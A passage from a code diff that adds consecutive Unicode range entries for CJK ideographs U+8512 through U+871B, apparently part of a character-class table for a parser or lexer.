+ ["\u8512", "\u8512"], /* CJK Ideograph */
+ ["\u8513", "\u8513"], /* CJK Ideograph */
+ ["\u8514", "\u8514"], /* CJK Ideograph */
+ ["\u8515", "\u8515"], /* CJK Ideograph */
+ ["\u8516", "\u8516"], /* CJK Ideograph */
+ ["\u8517", "\u8517"], /* CJK Ideograph */
+ ["\u8518", "\u8518"], /* CJK Ideograph */
+ ["\u8519", "\u8519"], /* CJK Ideograph */
+ ["\u851A", "\u851A"], /* CJK Ideograph */
+ ["\u851B", "\u851B"], /* CJK Ideograph */
+ ["\u851C", "\u851C"], /* CJK Ideograph */
+ ["\u851D", "\u851D"], /* CJK Ideograph */
+ ["\u851E", "\u851E"], /* CJK Ideograph */
+ ["\u851F", "\u851F"], /* CJK Ideograph */
+ ["\u8520", "\u8520"], /* CJK Ideograph */
+ ["\u8521", "\u8521"], /* CJK Ideograph */
+ ["\u8522", "\u8522"], /* CJK Ideograph */
+ ["\u8523", "\u8523"], /* CJK Ideograph */
+ ["\u8524", "\u8524"], /* CJK Ideograph */
+ ["\u8525", "\u8525"], /* CJK Ideograph */
+ ["\u8526", "\u8526"], /* CJK Ideograph */
+ ["\u8527", "\u8527"], /* CJK Ideograph */
+ ["\u8528", "\u8528"], /* CJK Ideograph */
+ ["\u8529", "\u8529"], /* CJK Ideograph */
+ ["\u852A", "\u852A"], /* CJK Ideograph */
+ ["\u852B", "\u852B"], /* CJK Ideograph */
+ ["\u852C", "\u852C"], /* CJK Ideograph */
+ ["\u852D", "\u852D"], /* CJK Ideograph */
+ ["\u852E", "\u852E"], /* CJK Ideograph */
+ ["\u852F", "\u852F"], /* CJK Ideograph */
+ ["\u8530", "\u8530"], /* CJK Ideograph */
+ ["\u8531", "\u8531"], /* CJK Ideograph */
+ ["\u8532", "\u8532"], /* CJK Ideograph */
+ ["\u8533", "\u8533"], /* CJK Ideograph */
+ ["\u8534", "\u8534"], /* CJK Ideograph */
+ ["\u8535", "\u8535"], /* CJK Ideograph */
+ ["\u8536", "\u8536"], /* CJK Ideograph */
+ ["\u8537", "\u8537"], /* CJK Ideograph */
+ ["\u8538", "\u8538"], /* CJK Ideograph */
+ ["\u8539", "\u8539"], /* CJK Ideograph */
+ ["\u853A", "\u853A"], /* CJK Ideograph */
+ ["\u853B", "\u853B"], /* CJK Ideograph */
+ ["\u853C", "\u853C"], /* CJK Ideograph */
+ ["\u853D", "\u853D"], /* CJK Ideograph */
+ ["\u853E", "\u853E"], /* CJK Ideograph */
+ ["\u853F", "\u853F"], /* CJK Ideograph */
+ ["\u8540", "\u8540"], /* CJK Ideograph */
+ ["\u8541", "\u8541"], /* CJK Ideograph */
+ ["\u8542", "\u8542"], /* CJK Ideograph */
+ ["\u8543", "\u8543"], /* CJK Ideograph */
+ ["\u8544", "\u8544"], /* CJK Ideograph */
+ ["\u8545", "\u8545"], /* CJK Ideograph */
+ ["\u8546", "\u8546"], /* CJK Ideograph */
+ ["\u8547", "\u8547"], /* CJK Ideograph */
+ ["\u8548", "\u8548"], /* CJK Ideograph */
+ ["\u8549", "\u8549"], /* CJK Ideograph */
+ ["\u854A", "\u854A"], /* CJK Ideograph */
+ ["\u854B", "\u854B"], /* CJK Ideograph */
+ ["\u854C", "\u854C"], /* CJK Ideograph */
+ ["\u854D", "\u854D"], /* CJK Ideograph */
+ ["\u854E", "\u854E"], /* CJK Ideograph */
+ ["\u854F", "\u854F"], /* CJK Ideograph */
+ ["\u8550", "\u8550"], /* CJK Ideograph */
+ ["\u8551", "\u8551"], /* CJK Ideograph */
+ ["\u8552", "\u8552"], /* CJK Ideograph */
+ ["\u8553", "\u8553"], /* CJK Ideograph */
+ ["\u8554", "\u8554"], /* CJK Ideograph */
+ ["\u8555", "\u8555"], /* CJK Ideograph */
+ ["\u8556", "\u8556"], /* CJK Ideograph */
+ ["\u8557", "\u8557"], /* CJK Ideograph */
+ ["\u8558", "\u8558"], /* CJK Ideograph */
+ ["\u8559", "\u8559"], /* CJK Ideograph */
+ ["\u855A", "\u855A"], /* CJK Ideograph */
+ ["\u855B", "\u855B"], /* CJK Ideograph */
+ ["\u855C", "\u855C"], /* CJK Ideograph */
+ ["\u855D", "\u855D"], /* CJK Ideograph */
+ ["\u855E", "\u855E"], /* CJK Ideograph */
+ ["\u855F", "\u855F"], /* CJK Ideograph */
+ ["\u8560", "\u8560"], /* CJK Ideograph */
+ ["\u8561", "\u8561"], /* CJK Ideograph */
+ ["\u8562", "\u8562"], /* CJK Ideograph */
+ ["\u8563", "\u8563"], /* CJK Ideograph */
+ ["\u8564", "\u8564"], /* CJK Ideograph */
+ ["\u8565", "\u8565"], /* CJK Ideograph */
+ ["\u8566", "\u8566"], /* CJK Ideograph */
+ ["\u8567", "\u8567"], /* CJK Ideograph */
+ ["\u8568", "\u8568"], /* CJK Ideograph */
+ ["\u8569", "\u8569"], /* CJK Ideograph */
+ ["\u856A", "\u856A"], /* CJK Ideograph */
+ ["\u856B", "\u856B"], /* CJK Ideograph */
+ ["\u856C", "\u856C"], /* CJK Ideograph */
+ ["\u856D", "\u856D"], /* CJK Ideograph */
+ ["\u856E", "\u856E"], /* CJK Ideograph */
+ ["\u856F", "\u856F"], /* CJK Ideograph */
+ ["\u8570", "\u8570"], /* CJK Ideograph */
+ ["\u8571", "\u8571"], /* CJK Ideograph */
+ ["\u8572", "\u8572"], /* CJK Ideograph */
+ ["\u8573", "\u8573"], /* CJK Ideograph */
+ ["\u8574", "\u8574"], /* CJK Ideograph */
+ ["\u8575", "\u8575"], /* CJK Ideograph */
+ ["\u8576", "\u8576"], /* CJK Ideograph */
+ ["\u8577", "\u8577"], /* CJK Ideograph */
+ ["\u8578", "\u8578"], /* CJK Ideograph */
+ ["\u8579", "\u8579"], /* CJK Ideograph */
+ ["\u857A", "\u857A"], /* CJK Ideograph */
+ ["\u857B", "\u857B"], /* CJK Ideograph */
+ ["\u857C", "\u857C"], /* CJK Ideograph */
+ ["\u857D", "\u857D"], /* CJK Ideograph */
+ ["\u857E", "\u857E"], /* CJK Ideograph */
+ ["\u857F", "\u857F"], /* CJK Ideograph */
+ ["\u8580", "\u8580"], /* CJK Ideograph */
+ ["\u8581", "\u8581"], /* CJK Ideograph */
+ ["\u8582", "\u8582"], /* CJK Ideograph */
+ ["\u8583", "\u8583"], /* CJK Ideograph */
+ ["\u8584", "\u8584"], /* CJK Ideograph */
+ ["\u8585", "\u8585"], /* CJK Ideograph */
+ ["\u8586", "\u8586"], /* CJK Ideograph */
+ ["\u8587", "\u8587"], /* CJK Ideograph */
+ ["\u8588", "\u8588"], /* CJK Ideograph */
+ ["\u8589", "\u8589"], /* CJK Ideograph */
+ ["\u858A", "\u858A"], /* CJK Ideograph */
+ ["\u858B", "\u858B"], /* CJK Ideograph */
+ ["\u858C", "\u858C"], /* CJK Ideograph */
+ ["\u858D", "\u858D"], /* CJK Ideograph */
+ ["\u858E", "\u858E"], /* CJK Ideograph */
+ ["\u858F", "\u858F"], /* CJK Ideograph */
+ ["\u8590", "\u8590"], /* CJK Ideograph */
+ ["\u8591", "\u8591"], /* CJK Ideograph */
+ ["\u8592", "\u8592"], /* CJK Ideograph */
+ ["\u8593", "\u8593"], /* CJK Ideograph */
+ ["\u8594", "\u8594"], /* CJK Ideograph */
+ ["\u8595", "\u8595"], /* CJK Ideograph */
+ ["\u8596", "\u8596"], /* CJK Ideograph */
+ ["\u8597", "\u8597"], /* CJK Ideograph */
+ ["\u8598", "\u8598"], /* CJK Ideograph */
+ ["\u8599", "\u8599"], /* CJK Ideograph */
+ ["\u859A", "\u859A"], /* CJK Ideograph */
+ ["\u859B", "\u859B"], /* CJK Ideograph */
+ ["\u859C", "\u859C"], /* CJK Ideograph */
+ ["\u859D", "\u859D"], /* CJK Ideograph */
+ ["\u859E", "\u859E"], /* CJK Ideograph */
+ ["\u859F", "\u859F"], /* CJK Ideograph */
+ ["\u85A0", "\u85A0"], /* CJK Ideograph */
+ ["\u85A1", "\u85A1"], /* CJK Ideograph */
+ ["\u85A2", "\u85A2"], /* CJK Ideograph */
+ ["\u85A3", "\u85A3"], /* CJK Ideograph */
+ ["\u85A4", "\u85A4"], /* CJK Ideograph */
+ ["\u85A5", "\u85A5"], /* CJK Ideograph */
+ ["\u85A6", "\u85A6"], /* CJK Ideograph */
+ ["\u85A7", "\u85A7"], /* CJK Ideograph */
+ ["\u85A8", "\u85A8"], /* CJK Ideograph */
+ ["\u85A9", "\u85A9"], /* CJK Ideograph */
+ ["\u85AA", "\u85AA"], /* CJK Ideograph */
+ ["\u85AB", "\u85AB"], /* CJK Ideograph */
+ ["\u85AC", "\u85AC"], /* CJK Ideograph */
+ ["\u85AD", "\u85AD"], /* CJK Ideograph */
+ ["\u85AE", "\u85AE"], /* CJK Ideograph */
+ ["\u85AF", "\u85AF"], /* CJK Ideograph */
+ ["\u85B0", "\u85B0"], /* CJK Ideograph */
+ ["\u85B1", "\u85B1"], /* CJK Ideograph */
+ ["\u85B2", "\u85B2"], /* CJK Ideograph */
+ ["\u85B3", "\u85B3"], /* CJK Ideograph */
+ ["\u85B4", "\u85B4"], /* CJK Ideograph */
+ ["\u85B5", "\u85B5"], /* CJK Ideograph */
+ ["\u85B6", "\u85B6"], /* CJK Ideograph */
+ ["\u85B7", "\u85B7"], /* CJK Ideograph */
+ ["\u85B8", "\u85B8"], /* CJK Ideograph */
+ ["\u85B9", "\u85B9"], /* CJK Ideograph */
+ ["\u85BA", "\u85BA"], /* CJK Ideograph */
+ ["\u85BB", "\u85BB"], /* CJK Ideograph */
+ ["\u85BC", "\u85BC"], /* CJK Ideograph */
+ ["\u85BD", "\u85BD"], /* CJK Ideograph */
+ ["\u85BE", "\u85BE"], /* CJK Ideograph */
+ ["\u85BF", "\u85BF"], /* CJK Ideograph */
+ ["\u85C0", "\u85C0"], /* CJK Ideograph */
+ ["\u85C1", "\u85C1"], /* CJK Ideograph */
+ ["\u85C2", "\u85C2"], /* CJK Ideograph */
+ ["\u85C3", "\u85C3"], /* CJK Ideograph */
+ ["\u85C4", "\u85C4"], /* CJK Ideograph */
+ ["\u85C5", "\u85C5"], /* CJK Ideograph */
+ ["\u85C6", "\u85C6"], /* CJK Ideograph */
+ ["\u85C7", "\u85C7"], /* CJK Ideograph */
+ ["\u85C8", "\u85C8"], /* CJK Ideograph */
+ ["\u85C9", "\u85C9"], /* CJK Ideograph */
+ ["\u85CA", "\u85CA"], /* CJK Ideograph */
+ ["\u85CB", "\u85CB"], /* CJK Ideograph */
+ ["\u85CC", "\u85CC"], /* CJK Ideograph */
+ ["\u85CD", "\u85CD"], /* CJK Ideograph */
+ ["\u85CE", "\u85CE"], /* CJK Ideograph */
+ ["\u85CF", "\u85CF"], /* CJK Ideograph */
+ ["\u85D0", "\u85D0"], /* CJK Ideograph */
+ ["\u85D1", "\u85D1"], /* CJK Ideograph */
+ ["\u85D2", "\u85D2"], /* CJK Ideograph */
+ ["\u85D3", "\u85D3"], /* CJK Ideograph */
+ ["\u85D4", "\u85D4"], /* CJK Ideograph */
+ ["\u85D5", "\u85D5"], /* CJK Ideograph */
+ ["\u85D6", "\u85D6"], /* CJK Ideograph */
+ ["\u85D7", "\u85D7"], /* CJK Ideograph */
+ ["\u85D8", "\u85D8"], /* CJK Ideograph */
+ ["\u85D9", "\u85D9"], /* CJK Ideograph */
+ ["\u85DA", "\u85DA"], /* CJK Ideograph */
+ ["\u85DB", "\u85DB"], /* CJK Ideograph */
+ ["\u85DC", "\u85DC"], /* CJK Ideograph */
+ ["\u85DD", "\u85DD"], /* CJK Ideograph */
+ ["\u85DE", "\u85DE"], /* CJK Ideograph */
+ ["\u85DF", "\u85DF"], /* CJK Ideograph */
+ ["\u85E0", "\u85E0"], /* CJK Ideograph */
+ ["\u85E1", "\u85E1"], /* CJK Ideograph */
+ ["\u85E2", "\u85E2"], /* CJK Ideograph */
+ ["\u85E3", "\u85E3"], /* CJK Ideograph */
+ ["\u85E4", "\u85E4"], /* CJK Ideograph */
+ ["\u85E5", "\u85E5"], /* CJK Ideograph */
+ ["\u85E6", "\u85E6"], /* CJK Ideograph */
+ ["\u85E7", "\u85E7"], /* CJK Ideograph */
+ ["\u85E8", "\u85E8"], /* CJK Ideograph */
+ ["\u85E9", "\u85E9"], /* CJK Ideograph */
+ ["\u85EA", "\u85EA"], /* CJK Ideograph */
+ ["\u85EB", "\u85EB"], /* CJK Ideograph */
+ ["\u85EC", "\u85EC"], /* CJK Ideograph */
+ ["\u85ED", "\u85ED"], /* CJK Ideograph */
+ ["\u85EE", "\u85EE"], /* CJK Ideograph */
+ ["\u85EF", "\u85EF"], /* CJK Ideograph */
+ ["\u85F0", "\u85F0"], /* CJK Ideograph */
+ ["\u85F1", "\u85F1"], /* CJK Ideograph */
+ ["\u85F2", "\u85F2"], /* CJK Ideograph */
+ ["\u85F3", "\u85F3"], /* CJK Ideograph */
+ ["\u85F4", "\u85F4"], /* CJK Ideograph */
+ ["\u85F5", "\u85F5"], /* CJK Ideograph */
+ ["\u85F6", "\u85F6"], /* CJK Ideograph */
+ ["\u85F7", "\u85F7"], /* CJK Ideograph */
+ ["\u85F8", "\u85F8"], /* CJK Ideograph */
+ ["\u85F9", "\u85F9"], /* CJK Ideograph */
+ ["\u85FA", "\u85FA"], /* CJK Ideograph */
+ ["\u85FB", "\u85FB"], /* CJK Ideograph */
+ ["\u85FC", "\u85FC"], /* CJK Ideograph */
+ ["\u85FD", "\u85FD"], /* CJK Ideograph */
+ ["\u85FE", "\u85FE"], /* CJK Ideograph */
+ ["\u85FF", "\u85FF"], /* CJK Ideograph */
+ ["\u8600", "\u8600"], /* CJK Ideograph */
+ ["\u8601", "\u8601"], /* CJK Ideograph */
+ ["\u8602", "\u8602"], /* CJK Ideograph */
+ ["\u8603", "\u8603"], /* CJK Ideograph */
+ ["\u8604", "\u8604"], /* CJK Ideograph */
+ ["\u8605", "\u8605"], /* CJK Ideograph */
+ ["\u8606", "\u8606"], /* CJK Ideograph */
+ ["\u8607", "\u8607"], /* CJK Ideograph */
+ ["\u8608", "\u8608"], /* CJK Ideograph */
+ ["\u8609", "\u8609"], /* CJK Ideograph */
+ ["\u860A", "\u860A"], /* CJK Ideograph */
+ ["\u860B", "\u860B"], /* CJK Ideograph */
+ ["\u860C", "\u860C"], /* CJK Ideograph */
+ ["\u860D", "\u860D"], /* CJK Ideograph */
+ ["\u860E", "\u860E"], /* CJK Ideograph */
+ ["\u860F", "\u860F"], /* CJK Ideograph */
+ ["\u8610", "\u8610"], /* CJK Ideograph */
+ ["\u8611", "\u8611"], /* CJK Ideograph */
+ ["\u8612", "\u8612"], /* CJK Ideograph */
+ ["\u8613", "\u8613"], /* CJK Ideograph */
+ ["\u8614", "\u8614"], /* CJK Ideograph */
+ ["\u8615", "\u8615"], /* CJK Ideograph */
+ ["\u8616", "\u8616"], /* CJK Ideograph */
+ ["\u8617", "\u8617"], /* CJK Ideograph */
+ ["\u8618", "\u8618"], /* CJK Ideograph */
+ ["\u8619", "\u8619"], /* CJK Ideograph */
+ ["\u861A", "\u861A"], /* CJK Ideograph */
+ ["\u861B", "\u861B"], /* CJK Ideograph */
+ ["\u861C", "\u861C"], /* CJK Ideograph */
+ ["\u861D", "\u861D"], /* CJK Ideograph */
+ ["\u861E", "\u861E"], /* CJK Ideograph */
+ ["\u861F", "\u861F"], /* CJK Ideograph */
+ ["\u8620", "\u8620"], /* CJK Ideograph */
+ ["\u8621", "\u8621"], /* CJK Ideograph */
+ ["\u8622", "\u8622"], /* CJK Ideograph */
+ ["\u8623", "\u8623"], /* CJK Ideograph */
+ ["\u8624", "\u8624"], /* CJK Ideograph */
+ ["\u8625", "\u8625"], /* CJK Ideograph */
+ ["\u8626", "\u8626"], /* CJK Ideograph */
+ ["\u8627", "\u8627"], /* CJK Ideograph */
+ ["\u8628", "\u8628"], /* CJK Ideograph */
+ ["\u8629", "\u8629"], /* CJK Ideograph */
+ ["\u862A", "\u862A"], /* CJK Ideograph */
+ ["\u862B", "\u862B"], /* CJK Ideograph */
+ ["\u862C", "\u862C"], /* CJK Ideograph */
+ ["\u862D", "\u862D"], /* CJK Ideograph */
+ ["\u862E", "\u862E"], /* CJK Ideograph */
+ ["\u862F", "\u862F"], /* CJK Ideograph */
+ ["\u8630", "\u8630"], /* CJK Ideograph */
+ ["\u8631", "\u8631"], /* CJK Ideograph */
+ ["\u8632", "\u8632"], /* CJK Ideograph */
+ ["\u8633", "\u8633"], /* CJK Ideograph */
+ ["\u8634", "\u8634"], /* CJK Ideograph */
+ ["\u8635", "\u8635"], /* CJK Ideograph */
+ ["\u8636", "\u8636"], /* CJK Ideograph */
+ ["\u8637", "\u8637"], /* CJK Ideograph */
+ ["\u8638", "\u8638"], /* CJK Ideograph */
+ ["\u8639", "\u8639"], /* CJK Ideograph */
+ ["\u863A", "\u863A"], /* CJK Ideograph */
+ ["\u863B", "\u863B"], /* CJK Ideograph */
+ ["\u863C", "\u863C"], /* CJK Ideograph */
+ ["\u863D", "\u863D"], /* CJK Ideograph */
+ ["\u863E", "\u863E"], /* CJK Ideograph */
+ ["\u863F", "\u863F"], /* CJK Ideograph */
+ ["\u8640", "\u8640"], /* CJK Ideograph */
+ ["\u8641", "\u8641"], /* CJK Ideograph */
+ ["\u8642", "\u8642"], /* CJK Ideograph */
+ ["\u8643", "\u8643"], /* CJK Ideograph */
+ ["\u8644", "\u8644"], /* CJK Ideograph */
+ ["\u8645", "\u8645"], /* CJK Ideograph */
+ ["\u8646", "\u8646"], /* CJK Ideograph */
+ ["\u8647", "\u8647"], /* CJK Ideograph */
+ ["\u8648", "\u8648"], /* CJK Ideograph */
+ ["\u8649", "\u8649"], /* CJK Ideograph */
+ ["\u864A", "\u864A"], /* CJK Ideograph */
+ ["\u864B", "\u864B"], /* CJK Ideograph */
+ ["\u864C", "\u864C"], /* CJK Ideograph */
+ ["\u864D", "\u864D"], /* CJK Ideograph */
+ ["\u864E", "\u864E"], /* CJK Ideograph */
+ ["\u864F", "\u864F"], /* CJK Ideograph */
+ ["\u8650", "\u8650"], /* CJK Ideograph */
+ ["\u8651", "\u8651"], /* CJK Ideograph */
+ ["\u8652", "\u8652"], /* CJK Ideograph */
+ ["\u8653", "\u8653"], /* CJK Ideograph */
+ ["\u8654", "\u8654"], /* CJK Ideograph */
+ ["\u8655", "\u8655"], /* CJK Ideograph */
+ ["\u8656", "\u8656"], /* CJK Ideograph */
+ ["\u8657", "\u8657"], /* CJK Ideograph */
+ ["\u8658", "\u8658"], /* CJK Ideograph */
+ ["\u8659", "\u8659"], /* CJK Ideograph */
+ ["\u865A", "\u865A"], /* CJK Ideograph */
+ ["\u865B", "\u865B"], /* CJK Ideograph */
+ ["\u865C", "\u865C"], /* CJK Ideograph */
+ ["\u865D", "\u865D"], /* CJK Ideograph */
+ ["\u865E", "\u865E"], /* CJK Ideograph */
+ ["\u865F", "\u865F"], /* CJK Ideograph */
+ ["\u8660", "\u8660"], /* CJK Ideograph */
+ ["\u8661", "\u8661"], /* CJK Ideograph */
+ ["\u8662", "\u8662"], /* CJK Ideograph */
+ ["\u8663", "\u8663"], /* CJK Ideograph */
+ ["\u8664", "\u8664"], /* CJK Ideograph */
+ ["\u8665", "\u8665"], /* CJK Ideograph */
+ ["\u8666", "\u8666"], /* CJK Ideograph */
+ ["\u8667", "\u8667"], /* CJK Ideograph */
+ ["\u8668", "\u8668"], /* CJK Ideograph */
+ ["\u8669", "\u8669"], /* CJK Ideograph */
+ ["\u866A", "\u866A"], /* CJK Ideograph */
+ ["\u866B", "\u866B"], /* CJK Ideograph */
+ ["\u866C", "\u866C"], /* CJK Ideograph */
+ ["\u866D", "\u866D"], /* CJK Ideograph */
+ ["\u866E", "\u866E"], /* CJK Ideograph */
+ ["\u866F", "\u866F"], /* CJK Ideograph */
+ ["\u8670", "\u8670"], /* CJK Ideograph */
+ ["\u8671", "\u8671"], /* CJK Ideograph */
+ ["\u8672", "\u8672"], /* CJK Ideograph */
+ ["\u8673", "\u8673"], /* CJK Ideograph */
+ ["\u8674", "\u8674"], /* CJK Ideograph */
+ ["\u8675", "\u8675"], /* CJK Ideograph */
+ ["\u8676", "\u8676"], /* CJK Ideograph */
+ ["\u8677", "\u8677"], /* CJK Ideograph */
+ ["\u8678", "\u8678"], /* CJK Ideograph */
+ ["\u8679", "\u8679"], /* CJK Ideograph */
+ ["\u867A", "\u867A"], /* CJK Ideograph */
+ ["\u867B", "\u867B"], /* CJK Ideograph */
+ ["\u867C", "\u867C"], /* CJK Ideograph */
+ ["\u867D", "\u867D"], /* CJK Ideograph */
+ ["\u867E", "\u867E"], /* CJK Ideograph */
+ ["\u867F", "\u867F"], /* CJK Ideograph */
+ ["\u8680", "\u8680"], /* CJK Ideograph */
+ ["\u8681", "\u8681"], /* CJK Ideograph */
+ ["\u8682", "\u8682"], /* CJK Ideograph */
+ ["\u8683", "\u8683"], /* CJK Ideograph */
+ ["\u8684", "\u8684"], /* CJK Ideograph */
+ ["\u8685", "\u8685"], /* CJK Ideograph */
+ ["\u8686", "\u8686"], /* CJK Ideograph */
+ ["\u8687", "\u8687"], /* CJK Ideograph */
+ ["\u8688", "\u8688"], /* CJK Ideograph */
+ ["\u8689", "\u8689"], /* CJK Ideograph */
+ ["\u868A", "\u868A"], /* CJK Ideograph */
+ ["\u868B", "\u868B"], /* CJK Ideograph */
+ ["\u868C", "\u868C"], /* CJK Ideograph */
+ ["\u868D", "\u868D"], /* CJK Ideograph */
+ ["\u868E", "\u868E"], /* CJK Ideograph */
+ ["\u868F", "\u868F"], /* CJK Ideograph */
+ ["\u8690", "\u8690"], /* CJK Ideograph */
+ ["\u8691", "\u8691"], /* CJK Ideograph */
+ ["\u8692", "\u8692"], /* CJK Ideograph */
+ ["\u8693", "\u8693"], /* CJK Ideograph */
+ ["\u8694", "\u8694"], /* CJK Ideograph */
+ ["\u8695", "\u8695"], /* CJK Ideograph */
+ ["\u8696", "\u8696"], /* CJK Ideograph */
+ ["\u8697", "\u8697"], /* CJK Ideograph */
+ ["\u8698", "\u8698"], /* CJK Ideograph */
+ ["\u8699", "\u8699"], /* CJK Ideograph */
+ ["\u869A", "\u869A"], /* CJK Ideograph */
+ ["\u869B", "\u869B"], /* CJK Ideograph */
+ ["\u869C", "\u869C"], /* CJK Ideograph */
+ ["\u869D", "\u869D"], /* CJK Ideograph */
+ ["\u869E", "\u869E"], /* CJK Ideograph */
+ ["\u869F", "\u869F"], /* CJK Ideograph */
+ ["\u86A0", "\u86A0"], /* CJK Ideograph */
+ ["\u86A1", "\u86A1"], /* CJK Ideograph */
+ ["\u86A2", "\u86A2"], /* CJK Ideograph */
+ ["\u86A3", "\u86A3"], /* CJK Ideograph */
+ ["\u86A4", "\u86A4"], /* CJK Ideograph */
+ ["\u86A5", "\u86A5"], /* CJK Ideograph */
+ ["\u86A6", "\u86A6"], /* CJK Ideograph */
+ ["\u86A7", "\u86A7"], /* CJK Ideograph */
+ ["\u86A8", "\u86A8"], /* CJK Ideograph */
+ ["\u86A9", "\u86A9"], /* CJK Ideograph */
+ ["\u86AA", "\u86AA"], /* CJK Ideograph */
+ ["\u86AB", "\u86AB"], /* CJK Ideograph */
+ ["\u86AC", "\u86AC"], /* CJK Ideograph */
+ ["\u86AD", "\u86AD"], /* CJK Ideograph */
+ ["\u86AE", "\u86AE"], /* CJK Ideograph */
+ ["\u86AF", "\u86AF"], /* CJK Ideograph */
+ ["\u86B0", "\u86B0"], /* CJK Ideograph */
+ ["\u86B1", "\u86B1"], /* CJK Ideograph */
+ ["\u86B2", "\u86B2"], /* CJK Ideograph */
+ ["\u86B3", "\u86B3"], /* CJK Ideograph */
+ ["\u86B4", "\u86B4"], /* CJK Ideograph */
+ ["\u86B5", "\u86B5"], /* CJK Ideograph */
+ ["\u86B6", "\u86B6"], /* CJK Ideograph */
+ ["\u86B7", "\u86B7"], /* CJK Ideograph */
+ ["\u86B8", "\u86B8"], /* CJK Ideograph */
+ ["\u86B9", "\u86B9"], /* CJK Ideograph */
+ ["\u86BA", "\u86BA"], /* CJK Ideograph */
+ ["\u86BB", "\u86BB"], /* CJK Ideograph */
+ ["\u86BC", "\u86BC"], /* CJK Ideograph */
+ ["\u86BD", "\u86BD"], /* CJK Ideograph */
+ ["\u86BE", "\u86BE"], /* CJK Ideograph */
+ ["\u86BF", "\u86BF"], /* CJK Ideograph */
+ ["\u86C0", "\u86C0"], /* CJK Ideograph */
+ ["\u86C1", "\u86C1"], /* CJK Ideograph */
+ ["\u86C2", "\u86C2"], /* CJK Ideograph */
+ ["\u86C3", "\u86C3"], /* CJK Ideograph */
+ ["\u86C4", "\u86C4"], /* CJK Ideograph */
+ ["\u86C5", "\u86C5"], /* CJK Ideograph */
+ ["\u86C6", "\u86C6"], /* CJK Ideograph */
+ ["\u86C7", "\u86C7"], /* CJK Ideograph */
+ ["\u86C8", "\u86C8"], /* CJK Ideograph */
+ ["\u86C9", "\u86C9"], /* CJK Ideograph */
+ ["\u86CA", "\u86CA"], /* CJK Ideograph */
+ ["\u86CB", "\u86CB"], /* CJK Ideograph */
+ ["\u86CC", "\u86CC"], /* CJK Ideograph */
+ ["\u86CD", "\u86CD"], /* CJK Ideograph */
+ ["\u86CE", "\u86CE"], /* CJK Ideograph */
+ ["\u86CF", "\u86CF"], /* CJK Ideograph */
+ ["\u86D0", "\u86D0"], /* CJK Ideograph */
+ ["\u86D1", "\u86D1"], /* CJK Ideograph */
+ ["\u86D2", "\u86D2"], /* CJK Ideograph */
+ ["\u86D3", "\u86D3"], /* CJK Ideograph */
+ ["\u86D4", "\u86D4"], /* CJK Ideograph */
+ ["\u86D5", "\u86D5"], /* CJK Ideograph */
+ ["\u86D6", "\u86D6"], /* CJK Ideograph */
+ ["\u86D7", "\u86D7"], /* CJK Ideograph */
+ ["\u86D8", "\u86D8"], /* CJK Ideograph */
+ ["\u86D9", "\u86D9"], /* CJK Ideograph */
+ ["\u86DA", "\u86DA"], /* CJK Ideograph */
+ ["\u86DB", "\u86DB"], /* CJK Ideograph */
+ ["\u86DC", "\u86DC"], /* CJK Ideograph */
+ ["\u86DD", "\u86DD"], /* CJK Ideograph */
+ ["\u86DE", "\u86DE"], /* CJK Ideograph */
+ ["\u86DF", "\u86DF"], /* CJK Ideograph */
+ ["\u86E0", "\u86E0"], /* CJK Ideograph */
+ ["\u86E1", "\u86E1"], /* CJK Ideograph */
+ ["\u86E2", "\u86E2"], /* CJK Ideograph */
+ ["\u86E3", "\u86E3"], /* CJK Ideograph */
+ ["\u86E4", "\u86E4"], /* CJK Ideograph */
+ ["\u86E5", "\u86E5"], /* CJK Ideograph */
+ ["\u86E6", "\u86E6"], /* CJK Ideograph */
+ ["\u86E7", "\u86E7"], /* CJK Ideograph */
+ ["\u86E8", "\u86E8"], /* CJK Ideograph */
+ ["\u86E9", "\u86E9"], /* CJK Ideograph */
+ ["\u86EA", "\u86EA"], /* CJK Ideograph */
+ ["\u86EB", "\u86EB"], /* CJK Ideograph */
+ ["\u86EC", "\u86EC"], /* CJK Ideograph */
+ ["\u86ED", "\u86ED"], /* CJK Ideograph */
+ ["\u86EE", "\u86EE"], /* CJK Ideograph */
+ ["\u86EF", "\u86EF"], /* CJK Ideograph */
+ ["\u86F0", "\u86F0"], /* CJK Ideograph */
+ ["\u86F1", "\u86F1"], /* CJK Ideograph */
+ ["\u86F2", "\u86F2"], /* CJK Ideograph */
+ ["\u86F3", "\u86F3"], /* CJK Ideograph */
+ ["\u86F4", "\u86F4"], /* CJK Ideograph */
+ ["\u86F5", "\u86F5"], /* CJK Ideograph */
+ ["\u86F6", "\u86F6"], /* CJK Ideograph */
+ ["\u86F7", "\u86F7"], /* CJK Ideograph */
+ ["\u86F8", "\u86F8"], /* CJK Ideograph */
+ ["\u86F9", "\u86F9"], /* CJK Ideograph */
+ ["\u86FA", "\u86FA"], /* CJK Ideograph */
+ ["\u86FB", "\u86FB"], /* CJK Ideograph */
+ ["\u86FC", "\u86FC"], /* CJK Ideograph */
+ ["\u86FD", "\u86FD"], /* CJK Ideograph */
+ ["\u86FE", "\u86FE"], /* CJK Ideograph */
+ ["\u86FF", "\u86FF"], /* CJK Ideograph */
+ ["\u8700", "\u8700"], /* CJK Ideograph */
+ ["\u8701", "\u8701"], /* CJK Ideograph */
+ ["\u8702", "\u8702"], /* CJK Ideograph */
+ ["\u8703", "\u8703"], /* CJK Ideograph */
+ ["\u8704", "\u8704"], /* CJK Ideograph */
+ ["\u8705", "\u8705"], /* CJK Ideograph */
+ ["\u8706", "\u8706"], /* CJK Ideograph */
+ ["\u8707", "\u8707"], /* CJK Ideograph */
+ ["\u8708", "\u8708"], /* CJK Ideograph */
+ ["\u8709", "\u8709"], /* CJK Ideograph */
+ ["\u870A", "\u870A"], /* CJK Ideograph */
+ ["\u870B", "\u870B"], /* CJK Ideograph */
+ ["\u870C", "\u870C"], /* CJK Ideograph */
+ ["\u870D", "\u870D"], /* CJK Ideograph */
+ ["\u870E", "\u870E"], /* CJK Ideograph */
+ ["\u870F", "\u870F"], /* CJK Ideograph */
+ ["\u8710", "\u8710"], /* CJK Ideograph */
+ ["\u8711", "\u8711"], /* CJK Ideograph */
+ ["\u8712", "\u8712"], /* CJK Ideograph */
+ ["\u8713", "\u8713"], /* CJK Ideograph */
+ ["\u8714", "\u8714"], /* CJK Ideograph */
+ ["\u8715", "\u8715"], /* CJK Ideograph */
+ ["\u8716", "\u8716"], /* CJK Ideograph */
+ ["\u8717", "\u8717"], /* CJK Ideograph */
+ ["\u8718", "\u8718"], /* CJK Ideograph */
+ ["\u8719", "\u8719"], /* CJK Ideograph */
+ ["\u871A", "\u871A"], /* CJK Ideograph */
+ ["\u871B", "\u871B"], /* CJK Ideograph */
